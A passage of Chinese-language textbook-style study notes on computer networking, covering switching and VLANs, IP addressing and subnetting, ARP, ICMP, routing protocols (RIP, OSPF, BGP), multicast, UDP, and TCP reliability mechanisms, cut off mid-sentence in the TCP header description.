的交换表都是空的，主机 A 通过接口交换机 #1 向主机 B 发送一帧。\n按交换机自学习和转发方法，该帧的某个走向如下\n离开交换机#1 的接口3 → 交换机#2 的接口1 → 接口2 → 交换机#1 的接口4 → 接口3 → 交换机#2 的接口1 → ……\n这样就无限制地循环兜圈子下去，白白消耗了网络资源\nIEEE 802.1D 标准制定了一个生成树协议 STP (Spanning Tree）为了消除广播风暴\n其要点是不改变网络的实际拓扑，但在逻辑上则切断某些链路，使得从一台主机到所有其他主机的路径是无环路的树状结构，从而消除了兜圈子现象。\n例 虚拟局域网 冲突域：连接在同一个网桥或交换机端口的计算机只能有一台计算机发送数据\n广播域：网络中所有能接收到同样广播消息的设备的集合\n定义\n利用以太网交换机可以很方便地实现虚拟局域网 VLAN (Virtual LAN) 。\n虚拟局域网 VLAN 是由一些局域网网段构成的与物理位置无关的逻辑组，这些网段具有某些共同的需求 。\n每一个 VLAN 的帧都有一个明确的标识符 ，指明发送这个帧的计算机是属于哪一个 VLAN 。\n虚拟局域网其实只是局域网给用户提供的一种服务，而并不是一种新型局域网\n图注：当 B1 向 VLAN2 工作组内成员发送数据时，工作站 B2 和 B3 将会收到广播的信息，而工作站 A1，A2 和 C1都不会收到 B1 发出的广播信息。虚拟局域网限制了接收广播信息的工作站数，使得网络不会因传播过多的广播信息（即“广播风暴”）而引起性能恶化\n优点：安全性好、网络按照逻辑分段、灵活性好\n有效控制广播域范围\n增强网络安全性\n灵活构建虚拟工作组\n提高网络的可管理性\n高速以太网 高速以太网：100BASE-T 以太网，全双工模式下工作不使用 CSMA/CD 协议，争用期、帧间时间间隔更短\n吉比特以太网：允许在 1Gbit /s 下以 全双工 和 半双工 两种方式工作。\n功能\n载波延伸：最短帧长 64 字节，但争用时间增大为 512 字节，填充特殊字符\n分组突发：多短帧发送时，第一个载波延伸，其余指留有必要间隔连续发送\n网络层 网络层提供的两种服务 电信网：面向连接（真实连接，电话设计简单）\n互联网：无连接（计算机有很强的差错处理能力）\n网络层向上只提供简单灵活的、无连接的、尽最大努力交付的数据包服务，不提供服务质量保证。降低了网络造价。\n网络层提供的两种服务 虚电路服务：不需要包含目的地址，分组信息比特数较少，差错可以由网络负责控制 数据报服务：网络上报文长度相对较短，主机负责差错、流量控制 网际协议 IP (Internet Protocol)\n网际协议 IP 是 TCP/IP 体系中两个最主要的协议之一\n与 IP 协议配套使用的三个协议\n地址解析协议 ARP (Address Resolution Protocol) 网际控制报文协议 ICMP (Internet Control MessageProtocol) 网际组管理协议 IGMP (Internet Group ManagementProtocol) 虚拟互连网络 将网络互相连接起来要使用一些中间设备。\n中间设备又称为中间系统或中继 (Relay) 系统\n有以下五种不同的中继系统：\n物理层 ：转发器 (Repeater) 数据链路层：网桥或桥接器 (Bridge) 网络层：路由器 (Router) 网桥和路由器的混合物：桥路器 (brouter) 网络层以上：网关 (Gateway） 网络互连使用路由器 将使用路由器连接起来的网络看成同一个虚拟的IP网络（互连网）\n意义 使用 IP 协议的虚拟互连网络可简称为 IP 网\n互连起来的各种物理网络的异构性本来是客观存在的，但是我们利用 IP 协议就可以使这些性能各异的网络在网络层上看起来好像是一个统一的网络\n使用虚拟互连网络的好处是：当互联网上的主机进行通信时，就好像在一个网络上通信一样，而看不见互连的各具体的网络异构细节（如编址方案、路由选择协议等）。\n如果在这种覆盖全球的 IP 网的上层使用 TCP 协议，那么就是现在的互联网 (Internet)\n分类的 IP 地址 定义 IP 地址就是给每个连接在互联网上的主机（或路由器）分配一个在全世界范围是 唯一的 32 位的标识符（4 字节）\nIP 地址现在由 互联网名字和数字分配机构ICAN (Internet Corporatiofor Assigned Names and Numbers) 进行分配。\n分类的 IP 地址将 32 位地址进行了划分\n格式 将 IP 地址划分为若干个固定类（ A-E 类）\n每一类地址都由两个固定长度的字段组成\n其中一个字段是网络号 net-id，它标志主机（或路由器）所连接到的网络 另一个字段则是主机号 host-id ，它标志该主机（或路由器）。 主机号在它前面的网络号所指明的网络范围内必须是唯一的。\n由此可见， 一个 IP 地址在整个互联网范围内是唯一的。\n分类 A类：8-24，0 开始，最大可指派网络数 27−227−2 ，每个网络最大主机数 224−2224−2 B类：16-16，10开始，最大可指派网络数 214−1214−1 ，每个网络最大主机数 216−2216−2 C类：24-8，110开始，最大可指派网络数 221−1221−1 ，每个网络最大主机数 28−228−2 D类：1110开始，多播地址 E类：1111开始，保留今后使用 分类的好处 划分成不同类别的考虑 各种网络差异很大，有的网络拥有很多主机，而有的网络拥有的主机数目很少。 将 IP 地址划分成不同类别 A 、 B 、 C 可以满足不同用户的需求。 当一个单位申请到一个 IP 地址时，只是申请了一个网络号 Net id ，具体的主机号由各个单位自行分配。 D 类和 E 类使用较少 D 类的多播地址主要留给 IAB （因特网体系结构委员会）使用。 点分十进制记法 常用的三种类别的 IP 地址 三个类别的 IP 地址中， 2 个特殊的 Host id 含义：\n全 0 的 Host id 表示该 IP 地址是 “本主机” 所连接的单个网络地址。 如 IP 地址为 5.6.7.8 ，则网络地址为 5.0.0.0 全 1 的 Host id 表示所有 (all)，即该网络上的所有主机 一般不使用的 IP 地址 重要特点 IP 地址是一种分等级的地址结构 单位分配主机号，方便单位管理 路由器只根据网络号转发分组，减少了路由表所需存储空间 实际上 IP 地址是标志一个主机（或路由器）和一条链路的接口 用转发器或网桥连接起来的若干个局域网仍为一个网络，因此这些局域网都具有同样的网络号 net id 所有分配到网络号 net id 的网络，无论是范围很小的局域网，还是可能覆盖很大地理范围的广域网，都是平等的 IP 地址与硬件地址 IP 地址与硬件地址是不同的地址。\n从层次的角度看\n硬件地址（或物理地址） 是数据链路层和物理层使用的地址 。 IP 地址是网络层和以上各层使用的地址，是一种逻辑地址（称 IP 地址是逻辑地址是因为 IP 地址是用软件实现的） 主机 H1 与 H2 通信中使用的 IP 地址与硬件地址 HA\n地址解析协议 ARP (Address Resolution Protocol）\n通信时使用了两个地址：\nIP 地址 （网络层地址）\nMAC 地址 （数据链路层地址）\n已经知道了一个机器（主机或路由器）的 IP 地址，如何找出其相应的硬件地址？\n地址解析协议 ARP 就是用来解决这样的问题的\nARP 解决了同一个局域网上主机或路由器IP和MAC地址映射问题\n要点 每个主机都设有一个 ARP 高速缓存，里面有所在局域网上的主机和路由器 IP 到硬件地址的映射表，并且能动态更新（设有 TTL）\n如有，则通过局域网将 MAC 帧发送到硬件地址 如没有，发送 ARP 请求分组，等待 ARP 响应分组，写入 ARP 高速缓存 ARP 请求/响应分组的内容\n发送方硬件地址 发送方 IP 地址 目标方硬件地址（未知填0） 目标方IP地址 请求分组广播，响应分组单播\n不直接使用硬件地址通信的原因：硬件地址形式不统一\n注意 如果所要找的主机和源主机不在同一个局域网上，那么 就要通过 ARP 找到一个位于本局域网上的某个路由器的硬件地址，然后把分组发送给这个路由器，让这个路由器把分组转发给下一个网络。剩下的工作就由下一个网络来做\n从 IP 地址到硬件地址的解析是自动进行的，主机的用户对这种地址解析过程是不知道的。\n只要主机或路由器要和本网络上的另一个已知 IP 地址的主机或路由器进行通信， ARP 协议就会自动地将该 IP 地址解析为链路层所需要的硬件地址。\n使用 ARP 的四种典型情况 发送方是主机，要把 IP 数据报发送到本网络上的另一个主机。这时用 ARP 找到目的主机的硬件地址。 发送方是主机，要把 IP 数据报发送到另一个网络上的一个主机。这时用 ARP 找到本网络上的一个路由器的硬件地址。剩下的工作由这个路由器来完成。 发送方是路由器，要把 IP 数据报转发到本网络上的一个主机。这时用 ARP 找到目的主机的硬件地址。 发送方是路由器，要把 IP 数据报转发到另一个网络上的一个主机。这时用 ARP 找到本网络上另一个路由器的硬件地址。剩下的工作由这个路由器来完成 IP 数据报的格式 一个 IP 数据报由首部和数据两部分组成。\n首部的前一部分是固定长度，共 20 字节，是所有 IP 数据报必须具有的。\n在首部的固定部分的后面是一些可选字段，其长度是可变的\n版本：占 4 位，指 IP 协议的版本 首部长度：占 4 位，可表示的最大数值是15 个单位，一个单位为 4 字节。因此最大值是 60 字节 区分服务：占 8 位，不常用 总长度：占 16 位，指首部和数据之和的长度，单位为字节，因此数据报的最大长度为 65535 字节。 标识：占 16 位，计数器，用来产生 IP 数据报的标识 标志：占 3 位，目前只有前两位有意义 最低位 MF （more fragment） MF = 1 表示后面还有分片；MF = 0 表示最后一个分片。 中间位 DF（don’t fragment） 只有当 DF = 0 时才允许分片。 片偏移：占 13 位，以 8 个字节为偏移单位。 指出：较长的分组在分片后某片在原分组中的相对位置 （以下了解即可） 生存时间：占 8 位，记为 TTL (Time To Live），指示数据报在网络中可通过的路由器数的最大值。 协议：记录上层协议（TCP 等） 占 8 位，指出此数据报携带的数据使用何种协议，以便目的主机的 IP 层将数据部分上交给那个处理过程 首部检验和：反码运算求和（高位溢出加低位） 占 16 位， 只检验数据报的首部，不检验数据部分。这里不采用 CRC 检验码而采用简单的计算方法。 源地址和目的地址：都各占 4 字节 可选字段：不常用，不足1字节需要填充 例 IP 层转发分组的流程 按主机所在的网络地址制作路由表\n根据目的网络地址就能确定下一跳路由器，这样做的结果是：\nIP 数据报最终一定可以找到目的主机所在目的网络上的路由器（可能要通过多次的间接交付 ） 只有到达最后一个路由器时，才试图向目的主机进行直接交付。 默认路由 路由器还可采用默认路由以减少路由表所占用的空间和搜索路由表所用的时间。\n如果一个主机连接在一个小网络上，而这个网络只用一个路由器和互联网连接，那么在这种情况下使用默认路由是非常合适的。\n这种转发方式在一个网络只有很少的对外连接时是很有用的。\n默认路由在主机发送 IP 数据报时往往更能显示出它的好处。\n划分子网和构造超网 划分子网 （subnetting）\n格式 三级 IP 地址：网络号::子网号::主机号\n转发数据报时，仍然先找到本网络上的路由器，路由器根据网络号和子网号找到子网，最后直接交付目的主机\n优点 减少 IP 地址的浪费 使网络组织更加灵活 便于维护管理 划分子网对外部网络透明，对外表现仍然是一个网络\n子网掩码 从一个 IP 数据报的首部并无法判断源主机或目的主机所连接的网络是否进行了子网划分。\n使用子网掩码 (subnet mask) 可以找出 IP 地址中的子网部分\n全 0 或全 1 的子网号是不使用的\n规则 长度 32 位 某位 1：IP 地址中的对应位为网络号和子网号 某位 0：IP 地址中的对应位为主机号 子网划分方法 有固定长度子网和变长子网两种子网划分方法。\n在采用固定长度子网时，所划分的所有子网的子网掩码都是相同的 。\n若使用较少位数的子网号，则每一个子网上可连接的主机数就较多。\n划分子网增加了灵活性，但却减少了能够连接在网络上的主机总数。\n例\n使用子网时分组的转发 用各网络子网掩码和目的IP地址相与，结果一致直接交付 检查是否有特定主机路由 与路由表各项子网掩码相与，寻找匹配目的网络 由默认路由转发 无分类编址 CIDR 无分类域间路由选择 CIDR (Classless Inter Domain Routing)\nCIDR 消除了传统的 A 类 、 B 类和 C 类地址以及划分子网的概念，因而可以更加有效地分配 IPv4 的地址空间\n格式 使用网络前缀（network prefix）代替分类地址中的网络号和子网号\n斜线记法（CIDR 记法） 即在 IP 地址面加上一个斜线 /，然后写上网络前缀所占的位数。 这个数值对应于三级编址中子网掩码中 1 的个数 例如： 220.78.168.0/24 主机号全 0 全 1 一般不使用 CIDR 地址块 将有相同网络前缀的连续 IP 地址组成 CIDR 地址块\n路由聚合 也称构成超网（supernetting）\n一个 CIDR 地址块表示很多地址，称为路由聚合\n可以减少路由信息交换\nCIDR 虽然不使用子网了 但仍然使用掩码这一名词，但不叫子网掩码 。\n对于 20 地址块，它的掩码是 20 个连续的 1。斜线记法中的数字就是掩码中 1 的个数\n最长前缀匹配 使用 CIDR 时，路由表中的每个项目由网络前缀和下一跳地址组成。在查找路由表时可能会得到不止一个匹配结果。\n应当从匹配结果中选择具有最长网络前缀的路由：最长前缀匹配 (longest prefix matching)。\n网络前缀越长，其地址块就越小，因而路由就越具体 (more specific) 。\n最长前缀匹配又称为最长匹配或最佳匹配\n举例\n使用二叉线索存储（字典树）\n网际控制报文协议 ICMP （Internet Control Message）\nICMP 允许主机或路由器报告差错情况和提供有关异常情况的报告\nICMP 报文封装在 IP 数据包中，是 IP 层的协议\n种类 格式：类型、代码、校验和\n种类：ICMP 差错报告报文和ICMP 询问报文\n差错报告报文 向源站点报告错误信息，不需要应答\n类型\n终点不可达 时间超过：收到 TTL 为 0 的数据报时 参数问题：收到的数据报首部有字段不正确时。 改变路由（重定向） 方法\n报文的数据部分包含 ICMP 差错报告报文的前 8 个字节，再加上引起错误的 IP 数据报的首部和数据字段的前 8 个字节。\n询问报文 采用请求应答方式进行交互用来请求一些消息\n分类\n回答请求和回答报文 时间戳请求和回答报文 应用举例\nPING (Packet InterNet Groper) 分组网间探测\ntranceroute 用来跟踪一个分组从源点到终点的路径。\n互联网的路由选择协议 有关路由选择协议的几个基本概念 不存在绝对的最佳路由算法\n从路由算法的自适应性考虑 静态路由选择：非自适应路由选择。简单开销小，但不能适应网络动态和变化\n动态路由选择：自适应路由选择。适应网络状态的变化，但实现复杂，开销\n自治系统 AS 分层次路由选择协议的原因：互联网规模大；许多单位不愿意外接了解内部网络细节\n定义： 在单一的技术管理下的一组路由器,而这些路由器使用一种 AS 内部的路由选择协议和共同的度量 。\n一个 AS 对其他 AS 表现出的是一个单一的和一致的路由选择策略\n两大类路由选择协议 这里网关 == 路由器\n域间路由选择和域内路由选择\n内部网关协议 IGP ( Interior Gateway Protocol ) 在一个自治系统内部使用的路由选择协议。 目前这类路由选择协议使用得最多，如 RIP（距离向量） 和 OSPF（链路状态） 协议。 外部网关协议 EGP ( External Gateway Protocol ) 若源站和目的站处在不同的自治系统中，当数据报传到一个自治系统的边界时，就需要使用一种协议将路由选择信息传递到另一个自治系统中。 这样的协议就是外部网关协议 EGP 。 在外部网关协议中目前使用最多的是 BGP-4 内部网关协议 RIP RIP (Routing Information Protocol)\n定义 RIP 是一种分布式的、基于距离向量的动态路由选择协议\n分布式：每个路由器独立决定自己的路由表 距离、向量：到达目的网络所需费用；一组距离的记录 动态：根据拓扑结构、通信量的变化来改变其路由选择 RIP 协议要求网络中的每一个路由器都要维护从它自己到其他每一个目的网络的唯一最佳距离记录\n与相邻路由器交换全部路由表\n距离 RIP 协议中的 “距离” 也称为 “跳数” (hop count)，因为每经过一个路由器，跳数就加 1。这里的 “距离” 实际上指的是 “最短距离”\nRIP 认为一个好的路由就是它通过的路由器的数目少即距离短\nRIP 允许一条路径最多只能包含 15 个路由器 。\n距离的最大值为 16 时即相当于不可达。 可见 RIP 只适用于小型互联网\nRIP 不能在两个网络之间同时使用多条路由\nRIP 选择一个具有最少路由器的路由，即最短路由。 哪怕还存在另一条高速低时延但路由器较多的路由 。 特点 和哪些路由器交换信息？ 仅和相邻路由器交换信息。 交换什么信息？ 交换的信息是当前本路由器所知道的全部信息，即自己的路由表。 在什么时候交换信息？ 按固定的时间间隔交换路由信息，例如，每隔 30 秒。当网络拓扑发生变化时，路由器也及时向相邻路由器通告拓扑变化后的路由信息。若超过 180s 没收到邻居通告，则判定邻居没了并更新路由表。 RIP 路由表的信息 路由表的主要信息 到某个网络的距离（即最短距离） 应经过的下一跳地址 路由表的更新原则是找出到每个目的网络的最短距离\nRIP 使用的更新算法称为距离向量算法\n路由表的建立 例 距离加一\n下一跳不同，选择最优路径 下一跳相同，覆盖 RIP2 协议的报文格式 应用层协议，使用 UDP 协议传输\nRIP2 是 1998 年公布的较新的 RIP 版本。\nRIP2 报文由 首部 和 路由部分 组成。\n优缺点 优点 实现简单，开销较小。 缺点 限制了网络的规模，它能使用的最大距离为 15 路由器之间交换的路由信息是路由器中的完整路由表，开销大 好消息传播得快，坏消息传播得慢。 内部网关协议 OSPF OSPF (Open Shortest Path First)（开放最短路径优先协议），是为克服 RIP 的缺点在 1989 年开发出来的。\n最短路径的计算使用了迪杰斯特拉算法\n特点 和哪些路由器交换信息？ 向本自治系统中所有路由器发送信息，这里使用的方法是洪泛法。 交换什么信息？ 发送的信息就是与本路由器相邻的所有路由器的链路状态 ，但这只是路由器所知道的部分信息。 “链路状态” 就是说明本路由器都和哪些路由器相邻，以及该链路的 “度量” ( metric)：费用、距离、时延、带宽等。 最终目标是构建一个全网的拓扑结构图 在什么时候交换信息？ 只有当链路状态发生变化时，路由器才用洪泛法向所有路由器发送此信息。 链路状态数据库 所有的路由器最终都能建立一个链路状态数据库\n这个数据库实际上就是全网的拓扑结构图，它在全网范围内是一致的 （这称为链路状态数据库的同步）。\n每个路由器都知道全网有多少路由器，哪些路由器是相连的，代价是多少等。\n每个路由器根据数据状态数据库，构造出自己的路由表。\nOSPF 的链路状态数据库能较快地进行更新， 使各个路由器能及时更新其路由表。OSPF 的更新过程收敛得快是其重要优点。\n分类 问候 (Hello) 分组 用来发现和维持邻站的可达性。 数据库描述 (Database Description) 分组 向邻站给出自己的链路状态数据库所有项目的摘要信息。 链路状态请求 (Link State Request) 分组 向对方请求发送某些链路状态项目的详细信息。 链路状态更新 (Link State Update) 分组 用洪泛法对全网更新链路状态。 OSPF 协议最核心的部分 链路状态确认 (Link State) 分组 对链路更新分组的确认。 区域 为了使 OSPF 能用于规模很大的网络， OSPF 将一个自治系统再划分为若干个更小的范围，叫做 区域。\n每一个区域都有一个 32 位的区域标识符 （用点分十进制表示）。\n区域也不能太大，在一个区域内的路由器最好不超过 200 个。\n区域划分的好处\n将洪泛的范围缩小，减少网络通信量 在一个区域内部的路由器只知道本区域的完整网络拓扑，而不知道其他区域的网络拓扑情况 重要的路由器\n主干路由器（backbone router）：主干区域的路由器 区域边界路由器（area border router）：连接两个区域的路由器 自治系统边界路由器：与其他自治系统交换信息的路由器，也是一种边界路由器 报文格式 OSPF 直接用 IP 数据包报传送，其首部的协议字段值为 89\nOSPF 构成的数据报很短\n可减少路由信息的通信量。 不必将长的数据报分片传送。 分片传送的数据报只要丢失一个，就无法组装成原来的数据报，而整个数据报就必须重传。 OSPF 分组使用 24 字节的固定长度首部\nRIP 与 OSPF 的比较 RIP\n节点告诉相邻节点它所知道的所有路由信息 节点根据来自相邻节点的路由信息更新自己的路由表 定期交换信息 可扩展性差 OSPF\n节点告诉所有节点它的相邻节点的状态信息 每个节点都有一个全局的拓扑结构，并以此计算路由表 链路状态变化时才交换信息 可扩展性好，可靠 与整个互联网的规模无直接联系。没有“坏消息传播得慢”的问题 外部网关协议 BGP BGP (Border Gateway Protocol) ( 边界网关协议 ) 是不同自治系统的路由器之间交换路由信息的协议，目前使用最多的版本是 BGP-4\n为什么不能使用内部网关协议？\n互联网的规模太大，使得自治系统之间路由选择非常困难。 主干网路由器的项目表已超过了 5 万个网络前缀。对于自治系统之间的路由选择，要寻找最佳路由是很不现实的 。 当一条路径通过几个不同 AS 时，要想对这样的路径 计算出有意义的代价是不太可能的 。 比较合理的做法是在 AS 之间交换“ 可达性 ”信息。例 “到达目的网络 N 可经过自治系统 AS x ”。 自治系统之间的路由选择必须考虑有关策略。 包括政治、安全或经济方面的考虑。 BGP 致力于寻找一条比较好的路由（并非最佳），采用了路径向量路由选择协议\n特点 和谁交换信息？ 与其他 AS 的邻站 BGP 发言人交换信息。 每一个自治系统的管理员要选择至少一个 路由器 作为该自治系统的 “BGP 发言人” (BGP speaker） 通常，两个 BGP 发言人都是通过一个共享网络连接在一起的，而 BGP 发言人往往就是 BGP 边界路由器 ，但也不一定 交换什么信息？ 路径向量。也就是网络可达性的信息，即到达某个网络所要经过的一系列 AS 在什么时候交换信息？ 发生变化时更新有变化的部分 连通图 也就是网络可达性信息\n报文格式 封装在 TCP 报文中\n路由器 路由器是一种具有多个输入端口和多个输出端口的专用计算机，其任务是转发分组\n结构 路由选择部分\n根据所选定的路由选择协议构造出路由表 相邻路由器交换路由信息，更新和维护路由表。 分组转发部分\n一组输入端口 交换结构：根据转发表对分组进行处理 一组输出端口 核心功能\n控制层：运行各种路由协议 数据层：将收到的 IP 分组转发 交换结构 交换结构是路由器的关键构件\n交换方法\n通过存储器 通过总线 通过纵横交换结构 IP 多播 基本概念 多播 (multicast ，以前曾译为组播 ) 是一种一对多通信： 一个源点发送到许多个终点\n能够运行多播协议的路由器称为多播路由器 (multicast router)\n在互联网上进行多播就叫做 IP 多播\nIP 多播分为两种\n一种是只在本局域网上进行硬件多播 另一种是在互联网的范围内进行多播 多播 IP 地址 IP 多播所传送的分组需要使用多播 IP 地址。\n在多播数据报的目的地址写入多播组的标识符 。\n多播组的标识符就是 IP 地址中的D 类地址（多播地址）\nD 类 IP 地址的前四位是 1110 ，因此范围是 224.0.0.0 到 239.255.255.255 。\n每一个 D 类地址标志一个多播组。\n多播地址只能用于目的地址， 不能用于源地址\n多播数据报 多播数据报和一般 IP 数据报的区别就是它使用 D 类 IP 地址为目的地址，并且首部中的协议字段值是 2，表明使用网际组管理协议 IGMP\n多播数据报也是“ 尽最大努力交付 ”，不保证一定能够交付多播组内的所有成员。\n对多播数据报不产生 ICMP 差错报文。因此，若在 PING 命令后面键入多播地址，将永远不会收到响应。\n在局域网上进行硬件多播 MAC 地址开头：01-00-5E，表明其为多播地址\n网际组管理协议 IGMP 和多播路由选择协议 这是 IP 多播需要的两种协议\n网际组管理协议 IGMP IGMP 使多播路由器知晓多播组成员信息\n多播路由选择协议 大概不考 运输层 运输层协议概述 进程之间的通信 概念 运输层属于面向通信部分的最高层，也是用户功能中的最底层\n网络层提供了主机间的逻辑通信，运输层为应用进程间提供了逻辑通信（端到端）\n作用 基于端口的复用和分用\n复用 ：发送方的不同应用进程使用同一个运输层协议 分用 ：接收方的运输层把数据正确交付给目的进程 根据应用程序的不同需求，运输层需要有两种不同的运输协议，即面向连接的 TCP 和无连接的 UDP\n可靠信道的含义：无差错、按序（接收和发送的顺序）、无丢失、无重复\n不可靠的含义：不保证交付。接收时不按序、可能出现丢失和重复\n运输层的两个主要协议 用户数据报协议 UDP (User Datagram Protocol） 传输控制协议 TCP (Transmission Control Protocol) 运输层的端口 为了使不同操作系统的进程能够相互通信，必须用统一的方法对应用进程进行标志\n端口就是运输层服务访问点 TSAP，运输层的复用和分用功能依赖端口来完成。\n端口号（Protocol port number）：16 位二进制数，只具有本地意义\n如何找进程？IP 地址 + 端口号\n服务器端使用的端口号 熟知端口：0-1023，所有用户进程都知道\n登记端口号：1024-49151，需要在 IANA 登记，以防重复\n客户端使用的端口号 短暂端口号：49152-65535，，留给客户进程选择暂时使用 常用的熟知端口 用户数据报协议 UDP 概述 定义 UDP 只在 IP 的数据报服务之上增加了很少一点的功能\n复用和分用的功能 差错检测的功能 主要特点 无连接，发送数据之前不需要建立连接，因此减少了开销和发送数据之前的时延。 尽最大努力交付， 即不保证可靠交付， 因此主机不需要维持复杂的连接状态表。 面向报文。 UDP 对应用层交下来的报文，既不合并，也不拆分，而是保留这些报文的边界。 没有拥塞控制， 因此网络出现的拥塞不会使源主机的发送速率降低。这对某些实时应用 IP 电话、视频会议是很重要的。 支持一对一、一对多、多对一和多对多的交互通信。 首部开销小， 只有 8 个字节，比 TCP 的 20 个字节的首部要短 首部格式 UDP 有两个字段 ：数据字段和首部字段。首部字段很简单，只有 8 个字节\n首部字段 4 个字段组成，每个字段都是 2 个字节：源端口、目的端口、长度、校验和\n在计算检验和时，临时把 “伪首部” 和 UDP 用户数据报连接在一起。伪首部仅仅是为了计算检验和。\n校验和 IP 的校验和只校验了 IP 数据报的首部；\nUDP 的校验和，检查了：\nUDP 数据报的源端口、目的端口； UDP 数据报的数据部分； IP 数据报的源地址和目的地址。 校验方法：与伪首部、数据一起计算二进制反码校验和，循环进位，最后取反。（不要求）\n队列工作原理 传输控制协议 TCP 最主要的特点 面向连接 每一条 TCP 连接只能有两个端点 (endpoint)，每一条 TCP 连接只能是点对点的（一对一）。 提供可靠交付的服务。数据无差错、不丢失、不重复，并且按序到达。 全双工通信 面向字节流 TCP 中的 “流 ”（stream）指的是流入或流出进程的字节序列。 “面向字节流” 的含义是：虽然应用程序和 TCP 的交互是一次一个数据块（大小不等），但 TCP 把应用程序交下来的数据看成仅仅是一连串无结构的字节流 TCP 不保证接收方应用程序所收到的数据块和发送方应用程序所发出的数据块具有对应大小的关系 。但接收方应用程序收到的字节流必须和发送方应用程序发出的字节流完全一样。 首部格式 见 5.5\n连接 TCP 把连接作为最基本的抽象。每一条 TCP 连接有两个 点。\nTCP 连接的端点不是主机，不是主机的 IP 地址，不是应用进程，也不是运输层的协议端口。\nTCP 连接的端点叫做套接字 (socket) 或插口\n端口号拼接到 （contatenated with） IP 地址即构成了套接字。\n套接字 TCP 连接就是由协议软件所提供的一种抽象。\nTCP 连接的端点是个很抽象的套接字，即（ IP 地址：端口号）\n同一个 IP 地址可以有多个不同的 TCP 连接\n同一个端口号也可以出现在多个不同的 TCP 连接中\n可靠传输的工作原理 停止等待协议 发送完一个分组就停止发送等待确认，一旦出现传输差错（检测差错被丢弃或丢失），则超时重传\n出现差错的情况 确认丢失、确认迟到 确认丢失：B 向 A 发送的确认丢失了\nA （在超时计时器到期后）重传，B 丢弃这个重传的分组，并向 A 再次发送确认\n确认迟到：B 向 A 发送的确认迟到了\nA （在超时计时器到期后）重传后收到迟到的确认，将其丢弃，B 丢弃这个重传的分组，并再次确认\n注意 在发送完一个分组后，必须暂时保留已发送的分组的副本，以备重发。\n分组和确认分组都必须进行编号。\n超时计时器的重传时间应当比数据在分组传输的平均往返时间更长一些。\n自动重传请求 ARQ （Automatic Repeat reQuest）\n重传的请求是自动进行的，接收方不需要请求发送方重传某个出错的分组\n使用这样的确认和重传机制，就可以在不可靠的传输网络上实现可靠通信\n信道利用率 信道利用率 $$U=\\frac{T_D}{T_D+RTT+T_A}$$\n流水线运输 发送方可连续发送多个分组，不必每发完一个分组就停顿下来等待对方的确认。这样可使信道上一直有数据不间断地传送\n由于信道上一直有数据不间断地传送，这种传输方式可获得很高的信道利用率。\n连续 ARQ 协议 发送方维持一个发送窗口\n位于发送窗口内的分组都可连续发送出去，而不需要等待对方的确认。这样，信道利用率就提高了 。 连续 ARQ 协议规定，发送方每收到一个确认，就把发送窗口向前滑动一个分组的位置 上图没有用到累计确认\n累计确认 接收方一般采用累计确认的方式，即不必对收到的分组逐个发送确认，而是对按序到达的最后一个分组发送确认，表示这个分组之前的所有分组都已正确收到了\n优点：容易实现，即使确认丢失也不必重传（因为后续确认已经发送） 缺点：不能向发送方反映所有正确收到的分组（回退），序号位数多，重传代价高 Go back N （回退 N） 如果发送方发送了前 5 个分组，而中间的第 3 个分组丢失了。这时接收方只能对前两个分组发出确认。发送方无法知道后面三个分组的下落，而只好把后面的三个分组都再重传一次。\n这就是回退 N，表示需要再退回来重传已发送过的 N 个分组\n可见当通信线路质量不好时，连续 ARQ 协议会带来负面的影响。\n不缓存失序的分组\n步骤 发送端：\n在发送完一个分组后，不是停下来等待确认分组，而是可以连续再发送若干个分组。 如果这时收到了接收端发来的确认，那么还可以接着发送分组。 如果在超时时间到时，仍然没有收到相应分组的确认，则重新从这个分组开始传起 (Go back N) 。 接收端：只按序接收分组\n当接收到一个有差错的分组时，丢弃该分组和它以后的所有分组，让它们在发送端超时，然后重复发送已发送过的最后一个确认分组。 发送窗口的最大值 当用 n 比特进行分组的编号时，接收窗口 W~R~ = 1；只有在发送窗口 $$W_T \\le 2^n - 1$$ 时，连续 ARQ 协议才能正确运行\n例：当 n = 3 时，发送窗口的最大值是 7 而不是 8\n用反例证明：\n若发送窗口大小为 8 ，则分组编号为 0 - 7\n状态 1: 所有确认分组都到达了发送端，此时发送端又发送 8 个新分组，编号为 0~7 ，接收端认为是新分组 状态 2: 所有确认分组丢失，发送端超时后重发 0~7 号分组，接收端同样将其当作新分组接收（实际是重传的旧分组）。 小窗口 ARQ 信道利用率 $$U=\\frac{n\\times T_D}{T_D+RTT+T_A}$$ ，大窗口信道利用率为 1\n通常连续 ARQ 的接收窗口大小 Wr 为1\n选择重传 ARQ 协议 连续 ARQ 协议的问题 ：当线路的出错率高时，将出错帧之后的所有帧都丢弃掉，重传这些帧会带来效率上的大幅度降低。\n加大接收窗口 ，使得 W~R~ \u0026gt; 1 。先收下发送序号不连续但仍处在接收窗口中的那些数据帧。等到所缺序号的数据帧收到后再一并送交主机。这就是选择重传 ARQ 协议 。\n接收窗口的尺寸不能超过 2^n-1^ （即序号范围的 1/2 ），否则可能造成帧的重叠。发送窗口的尺寸一般和接收窗口的尺寸相同。\n优点 ：避免重复传送那些本来已经正确到达接收端的数据帧。\nTCP 报文段的首部格式 前 20 位固定字节 + 4n 字节可选项\n源端口和目的端口字段 各占 2 字节。 端口是运输层与应用层的服务接口。运输层的复用和分用功能都要通过端口才能实现。 序号字段 seq 占 4 字节。 TCP 连接中传送的数据流中的每一个字节都编上一个序号。 序号字段的值则指的是本报文段所发送的数据的第一个字节的序号。 确认号字段 ack 占 4 字节 是期望收到对方的下一个报文段的数据的第一个字节的序号。 若确认号 = N，表明：到序号 N - 1 为止的所有数据都已正确收到 以下字段了解即可\n数据偏移（即首部长度） 占 4 位 它指出 TCP 报文段的数据起始处距离 TCP 报文段的起始处有多远。 “数据偏移”的单位是 32 位字（以 4 字节为计算单位） 保留字段 占 6 位，保留为今后使用，但目前应置为 0 紧急 URG 当 URG = 1 时，表明紧急指针字段有效。它告诉系统此报文段中有紧急数据，应尽快传送 相当于高优先级的数据 确认 ACK 只有当 ACK = 1 时确认号字段才有效。 当ACK = 0 时，确认号无效。 推送 PSH (PuSH) 接收 TCP 收到 PSH = 1 的报文段，就尽快地交付接收应用进程，而不再等到整个缓存都填满了后再向上交付。 复位 RST ( ReSeT ) 当 RST = 1 时，表明 TCP 连接中出现严重差错（如由于主机崩溃或其他原因），必须释放连接，然后再重新建立运输连接。 同步 SYN 同步 SYN = 1 表示这是一个连接请求或连接接受报文。 终止 FIN ( FINish ) 用来释放一个连接。 FIN = 1 表明此报文段的发送端的数据已发送完毕，并要求释放运输连接。 窗口字段 占 2 字节，用来让对方设置发送窗口的依据，单位为字节。 检验和 占 2 